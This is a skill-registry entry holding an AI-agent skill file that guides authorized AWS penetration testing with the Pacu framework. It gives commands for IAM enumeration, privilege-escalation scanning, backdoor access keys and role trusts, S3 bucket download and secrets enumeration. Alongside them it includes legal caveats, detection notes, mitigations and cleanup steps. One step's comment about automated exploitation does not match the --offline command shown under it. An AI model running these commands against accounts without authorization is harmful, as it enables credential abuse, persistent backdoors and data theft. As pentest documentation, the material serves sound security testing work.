[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6SZXK8H4HAXQ3EFAPMKHT":3,"skill-same:01M7A6SZXK8H4HAXQ3EFAPMKHT":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":14,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":6,"ownerDescription":47,"updatedAt":48,"install":49,"resources":62},"01M7A6SZXK8H4HAXQ3EFAPMKHT","exploiting-aws-with-pacu",null,"Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence\u002Fbackdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-aws-with-pacu\ndescription: >-\n  Runs the Pacu AWS exploitation framework end-to-end — session and credential setup,\n  IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan,\n  and persistence\u002Fbackdooring modules like iam__backdoor_users_keys. Use for\n  authorized AWS penetration tests or red-team engagements, assessing blast radius\n  from a compromised IAM credential, or generating attacker telemetry for purple-team\n  detection testing.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- pacu\n- aws\n- cloud-pentest\n- privilege-escalation\n- persistence\n- iam-abuse\n- offensive-security\n- red-team\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1078.004\n---\n# Exploiting AWS with Pacu\n\n> **Legal Notice:** This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope\u002FRules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.\n\n## Overview\n\nPacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence\u002Fbackdooring\u002Fexfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.\n\nA Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with `set_keys` or by importing from `~\u002F.aws\u002Fcredentials`), confirm the identity with `whoami`, then enumerate IAM and the rest of the account. The flagship workflow is `iam__enum_permissions` followed by `iam__privesc_scan`, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. `iam:CreatePolicyVersion`, `iam:AttachUserPolicy`, `iam:PassRole` + `lambda:CreateFunction`, `sts:AssumeRole`) and can auto-exploit them. Persistence modules such as `iam__backdoor_users_keys` mint a second access key on an existing user, and `iam__backdoor_assume_role` adds a trust to a role so the attacker can assume it later.\n\nThis skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence\u002Fbackdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com\u002FRhinoSecurityLabs\u002Fpacu.\n\n## When to Use\n\n- Conducting an authorized AWS cloud penetration test or red-team engagement\n- Assessing the blast radius of a single compromised IAM credential (privesc scanning)\n- Demonstrating persistence\u002Fbackdoor techniques to drive remediation\n- Generating realistic attacker telemetry to test cloud detections (purple team)\n- Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure\n\n## Prerequisites\n\n- Pacu installed:\n  ```bash\n  python3 -m pip install -U pip\n  python3 -m pip install -U pacu     # then run: pacu\n  # or, preferred on Kali, with pipx:\n  pipx install git+https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu.git\n  # or Docker:\n  docker run -it rhinosecuritylabs\u002Fpacu:latest\n  ```\n- AWS access key\u002Fsecret (and optional session token) for the in-scope target principal\n- A signed authorization \u002F Rules of Engagement document defining scope\n- Python 3.9+ and outbound HTTPS to AWS API endpoints\n- AWS CLI installed for verification (`aws sts get-caller-identity`)\n\n## Objectives\n\n- Install Pacu and create an isolated engagement session\n- Load and validate target AWS credentials\n- Enumerate IAM permissions for the compromised principal\n- Identify and (where authorized) exploit privilege-escalation paths\n- Establish persistence via backdoor access keys and role trusts\n- Enumerate and access data in EC2, S3, and Secrets Manager\n- Export findings for reporting and ensure all artifacts are removed\n\n## MITRE ATT&CK Mapping\n\n| ID | Name | Use in this skill |\n|----|------|-------------------|\n| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |\n| T1098.001 | Account Manipulation: Additional Cloud Credentials | `iam__backdoor_users_keys` mints a second access key |\n| T1098.003 | Account Manipulation: Additional Cloud Roles | `iam__backdoor_assume_role` \u002F privesc via role policy changes |\n| T1580 | Cloud Infrastructure Discovery | `ec2__enum`, `iam__enum_users_roles_policies_groups` |\n| T1530 | Data from Cloud Storage | `s3__download_bucket` retrieves S3 objects |\n| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |\n\n## Workflow\n\n### 1. Launch Pacu and create a session\n```bash\npacu\n# In the Pacu console:\nPacu> set_keys\n#   key alias  : engagement-target\n#   access key : AKIA...\n#   secret key : ...\n#   session tok: (optional)\n```\n\n### 2. Confirm the identity you are operating as\n```text\nPacu> whoami\nPacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity\n```\n\n### 3. Enumerate IAM entities and the compromised principal's permissions\n```text\nPacu> run iam__enum_users_roles_policies_groups\nPacu> run iam__enum_permissions\nPacu> data IAM            # review what was collected into the session DB\n```\n\n### 4. Scan for privilege-escalation paths\n`iam__privesc_scan` checks the principal against known AWS privesc primitives and lists viable methods.\n```text\nPacu> run iam__privesc_scan\n# To attempt automated exploitation of a discovered method:\nPacu> run iam__privesc_scan --offline      # analyze without making changes\n```\n\n### 5. Establish persistence with a backdoor access key\n```text\nPacu> run iam__backdoor_users_keys --usernames target-user\n# Add an assumable-role trust for long-term access:\nPacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user\u002Fattacker\n```\n\n### 6. Enumerate compute and storage\n```text\nPacu> run ec2__enum\nPacu> run s3__download_bucket --names target-bucket\nPacu> data S3\n```\n\n### 7. Harvest secrets\n```text\nPacu> run secrets__enum\n```\n\n### 8. Non-interactive execution (CI \u002F scripted)\nPacu supports one-shot module execution from the shell.\n```bash\npacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec\npacu --session engagement --module-name s3__download_bucket \\\n     --module-args \"--names target-bucket\" --exec\n```\n\n### 9. Export findings and clean up\n```text\nPacu> data all > \u002Fdev\u002Fstdout         # review collected data\n# Manually remove every backdoor created (record ARNs\u002Fkey IDs first):\n```\n```bash\naws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR\naws iam update-assume-role-policy --role-name target-role --policy-document file:\u002F\u002Foriginal-trust.json\n```\nSee `scripts\u002Fagent.py` to drive the enumerate->privesc flow non-interactively.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Pacu GitHub | Source, modules, wiki | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu |\n| Pacu module list | Per-module documentation | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu\u002Fwiki\u002FModule-Details |\n| Rhino AWS privesc research | The privesc primitives `iam__privesc_scan` checks | https:\u002F\u002Frhinosecuritylabs.com\u002Faws\u002Faws-privilege-escalation-methods-mitigation\u002F |\n| AWS IAM docs | Permission and policy reference | https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002F |\n| CloudGoat | Vulnerable AWS lab to practice safely | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fcloudgoat |\n\n## OPSEC and Detection Considerations\n\nPacu modules are noisy and durable; an operator must plan for both detection and cleanup:\n\n- `iam__enum_permissions` and `iam__enum_users_roles_policies_groups` generate a large\n  burst of `iam:List*`\u002F`iam:Get*` calls visible in CloudTrail and GuardDuty\n  (`Discovery:IAMUser\u002FAnomalousBehavior`).\n- `iam__privesc_scan` in non-offline mode can make state-changing calls\n  (`iam:CreatePolicyVersion`, `iam:AttachUserPolicy`); use `--offline` for analysis only.\n- `iam__backdoor_users_keys` triggers `iam:CreateAccessKey`, and\n  `iam__backdoor_assume_role` triggers `iam:UpdateAssumeRolePolicy` — both are\n  high-signal persistence indicators that defenders alert on.\n- Record every artifact ID (access keys, policy versions, role-trust changes) so each\n  can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.\n\n## Defensive Mitigations to Recommend\n\n| Finding | Remediation |\n|---------|-------------|\n| Over-permissive IAM principal (privesc path) | Apply least privilege; scope `iam:PassRole` with conditions |\n| `iam:CreatePolicyVersion` \u002F `SetDefaultPolicyVersion` allowed | Remove from non-admin roles |\n| Long-lived access keys | Enforce key rotation; prefer roles \u002F short-lived STS creds |\n| No detection on key creation | Alert on `CreateAccessKey` \u002F `UpdateAssumeRolePolicy` in CloudTrail |\n\n## Key Module Reference\n\n| Module | Purpose |\n|--------|---------|\n| `iam__enum_users_roles_policies_groups` | Enumerate all IAM principals and policies |\n| `iam__enum_permissions` | Resolve the current principal's effective permissions |\n| `iam__privesc_scan` | Identify (and optionally exploit) privesc paths |\n| `iam__backdoor_users_keys` | Create a backdoor access key on a user |\n| `iam__backdoor_assume_role` | Add an attacker-controlled trust to a role |\n| `ec2__enum` | Enumerate EC2 instances, volumes, snapshots |\n| `s3__download_bucket` | Download objects from an S3 bucket |\n| `secrets__enum` | Enumerate Secrets Manager \u002F SSM parameters |\n\n## Validation Criteria\n\n- [ ] Pacu installed and console launches\n- [ ] Engagement session created and keys loaded\n- [ ] Identity confirmed with `whoami` \u002F `sts get-caller-identity`\n- [ ] IAM entities and current-principal permissions enumerated\n- [ ] `iam__privesc_scan` run and viable paths documented\n- [ ] Persistence module behavior demonstrated (in authorized scope)\n- [ ] EC2\u002FS3\u002Fsecrets enumeration completed\n- [ ] All created backdoors (keys, role trusts, policies) recorded and removed\n- [ ] Findings exported for the engagement report\n- [ ] No residual attacker artifacts remain in the account\n","# Exploiting AWS with Pacu\n\n> **Legal Notice:** This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope\u002FRules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.\n\n## Overview\n\nPacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence\u002Fbackdooring\u002Fexfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.\n\nA Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with `set_keys` or by importing from `~\u002F.aws\u002Fcredentials`), confirm the identity with `whoami`, then enumerate IAM and the rest of the account. The flagship workflow is `iam__enum_permissions` followed by `iam__privesc_scan`, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. `iam:CreatePolicyVersion`, `iam:AttachUserPolicy`, `iam:PassRole` + `lambda:CreateFunction`, `sts:AssumeRole`) and can auto-exploit them. Persistence modules such as `iam__backdoor_users_keys` mint a second access key on an existing user, and `iam__backdoor_assume_role` adds a trust to a role so the attacker can assume it later.\n\nThis skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence\u002Fbackdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com\u002FRhinoSecurityLabs\u002Fpacu.\n\n## When to Use\n\n- Conducting an authorized AWS cloud penetration test or red-team engagement\n- Assessing the blast radius of a single compromised IAM credential (privesc scanning)\n- Demonstrating persistence\u002Fbackdoor techniques to drive remediation\n- Generating realistic attacker telemetry to test cloud detections (purple team)\n- Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure\n\n## Prerequisites\n\n- Pacu installed:\n  ```bash\n  python3 -m pip install -U pip\n  python3 -m pip install -U pacu     # then run: pacu\n  # or, preferred on Kali, with pipx:\n  pipx install git+https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu.git\n  # or Docker:\n  docker run -it rhinosecuritylabs\u002Fpacu:latest\n  ```\n- AWS access key\u002Fsecret (and optional session token) for the in-scope target principal\n- A signed authorization \u002F Rules of Engagement document defining scope\n- Python 3.9+ and outbound HTTPS to AWS API endpoints\n- AWS CLI installed for verification (`aws sts get-caller-identity`)\n\n## Objectives\n\n- Install Pacu and create an isolated engagement session\n- Load and validate target AWS credentials\n- Enumerate IAM permissions for the compromised principal\n- Identify and (where authorized) exploit privilege-escalation paths\n- Establish persistence via backdoor access keys and role trusts\n- Enumerate and access data in EC2, S3, and Secrets Manager\n- Export findings for reporting and ensure all artifacts are removed\n\n## MITRE ATT&CK Mapping\n\n| ID | Name | Use in this skill |\n|----|------|-------------------|\n| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |\n| T1098.001 | Account Manipulation: Additional Cloud Credentials | `iam__backdoor_users_keys` mints a second access key |\n| T1098.003 | Account Manipulation: Additional Cloud Roles | `iam__backdoor_assume_role` \u002F privesc via role policy changes |\n| T1580 | Cloud Infrastructure Discovery | `ec2__enum`, `iam__enum_users_roles_policies_groups` |\n| T1530 | Data from Cloud Storage | `s3__download_bucket` retrieves S3 objects |\n| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |\n\n## Workflow\n\n### 1. Launch Pacu and create a session\n```bash\npacu\n# In the Pacu console:\nPacu> set_keys\n#   key alias  : engagement-target\n#   access key : AKIA...\n#   secret key : ...\n#   session tok: (optional)\n```\n\n### 2. Confirm the identity you are operating as\n```text\nPacu> whoami\nPacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity\n```\n\n### 3. Enumerate IAM entities and the compromised principal's permissions\n```text\nPacu> run iam__enum_users_roles_policies_groups\nPacu> run iam__enum_permissions\nPacu> data IAM            # review what was collected into the session DB\n```\n\n### 4. Scan for privilege-escalation paths\n`iam__privesc_scan` checks the principal against known AWS privesc primitives and lists viable methods.\n```text\nPacu> run iam__privesc_scan\n# To attempt automated exploitation of a discovered method:\nPacu> run iam__privesc_scan --offline      # analyze without making changes\n```\n\n### 5. Establish persistence with a backdoor access key\n```text\nPacu> run iam__backdoor_users_keys --usernames target-user\n# Add an assumable-role trust for long-term access:\nPacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user\u002Fattacker\n```\n\n### 6. Enumerate compute and storage\n```text\nPacu> run ec2__enum\nPacu> run s3__download_bucket --names target-bucket\nPacu> data S3\n```\n\n### 7. Harvest secrets\n```text\nPacu> run secrets__enum\n```\n\n### 8. Non-interactive execution (CI \u002F scripted)\nPacu supports one-shot module execution from the shell.\n```bash\npacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec\npacu --session engagement --module-name s3__download_bucket \\\n     --module-args \"--names target-bucket\" --exec\n```\n\n### 9. Export findings and clean up\n```text\nPacu> data all > \u002Fdev\u002Fstdout         # review collected data\n# Manually remove every backdoor created (record ARNs\u002Fkey IDs first):\n```\n```bash\naws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR\naws iam update-assume-role-policy --role-name target-role --policy-document file:\u002F\u002Foriginal-trust.json\n```\nSee `scripts\u002Fagent.py` to drive the enumerate->privesc flow non-interactively.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Pacu GitHub | Source, modules, wiki | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu |\n| Pacu module list | Per-module documentation | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu\u002Fwiki\u002FModule-Details |\n| Rhino AWS privesc research | The privesc primitives `iam__privesc_scan` checks | https:\u002F\u002Frhinosecuritylabs.com\u002Faws\u002Faws-privilege-escalation-methods-mitigation\u002F |\n| AWS IAM docs | Permission and policy reference | https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002F |\n| CloudGoat | Vulnerable AWS lab to practice safely | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fcloudgoat |\n\n## OPSEC and Detection Considerations\n\nPacu modules are noisy and durable; an operator must plan for both detection and cleanup:\n\n- `iam__enum_permissions` and `iam__enum_users_roles_policies_groups` generate a large\n  burst of `iam:List*`\u002F`iam:Get*` calls visible in CloudTrail and GuardDuty\n  (`Discovery:IAMUser\u002FAnomalousBehavior`).\n- `iam__privesc_scan` in non-offline mode can make state-changing calls\n  (`iam:CreatePolicyVersion`, `iam:AttachUserPolicy`); use `--offline` for analysis only.\n- `iam__backdoor_users_keys` triggers `iam:CreateAccessKey`, and\n  `iam__backdoor_assume_role` triggers `iam:UpdateAssumeRolePolicy` — both are\n  high-signal persistence indicators that defenders alert on.\n- Record every artifact ID (access keys, policy versions, role-trust changes) so each\n  can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.\n\n## Defensive Mitigations to Recommend\n\n| Finding | Remediation |\n|---------|-------------|\n| Over-permissive IAM principal (privesc path) | Apply least privilege; scope `iam:PassRole` with conditions |\n| `iam:CreatePolicyVersion` \u002F `SetDefaultPolicyVersion` allowed | Remove from non-admin roles |\n| Long-lived access keys | Enforce key rotation; prefer roles \u002F short-lived STS creds |\n| No detection on key creation | Alert on `CreateAccessKey` \u002F `UpdateAssumeRolePolicy` in CloudTrail |\n\n## Key Module Reference\n\n| Module | Purpose |\n|--------|---------|\n| `iam__enum_users_roles_policies_groups` | Enumerate all IAM principals and policies |\n| `iam__enum_permissions` | Resolve the current principal's effective permissions |\n| `iam__privesc_scan` | Identify (and optionally exploit) privesc paths |\n| `iam__backdoor_users_keys` | Create a backdoor access key on a user |\n| `iam__backdoor_assume_role` | Add an attacker-controlled trust to a role |\n| `ec2__enum` | Enumerate EC2 instances, volumes, snapshots |\n| `s3__download_bucket` | Download objects from an S3 bucket |\n| `secrets__enum` | Enumerate Secrets Manager \u002F SSM parameters |\n\n## Validation Criteria\n\n- [ ] Pacu installed and console launches\n- [ ] Engagement session created and keys loaded\n- [ ] Identity confirmed with `whoami` \u002F `sts get-caller-identity`\n- [ ] IAM entities and current-principal permissions enumerated\n- [ ] `iam__privesc_scan` run and viable paths documented\n- [ ] Persistence module behavior demonstrated (in authorized scope)\n- [ ] EC2\u002FS3\u002Fsecrets enumeration completed\n- [ ] All created backdoors (keys, role trusts, policies) recorded and removed\n- [ ] Findings exported for the engagement report\n- [ ] No residual attacker artifacts remain in the account\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"pacu","aws","cloud-pentest","privilege-escalation","persistence","iam-abuse","offensive-security","red-team","mahipal","cybersecurity","1.0",[38],"PR.AA-05","cloud-security",[41],"T1078.004","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-aws-with-pacu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":50,"prompt":60,"zipAvailable":61},[51,54,57],{"tool":52,"command":53},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-aws-with-pacu",{"tool":55,"command":56},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-aws-with-pacu",{"tool":58,"command":59},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-aws-with-pacu","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002FSKILL.md",true,[63,67,73,77],{"path":64,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fapi-reference.md","REFERENCE","参考文档",2529,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002Freferences\u002Fapi-reference.md",{"path":74,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fstandards.md",1346,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002Freferences\u002Fstandards.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",4392,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-aws-with-pacu\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]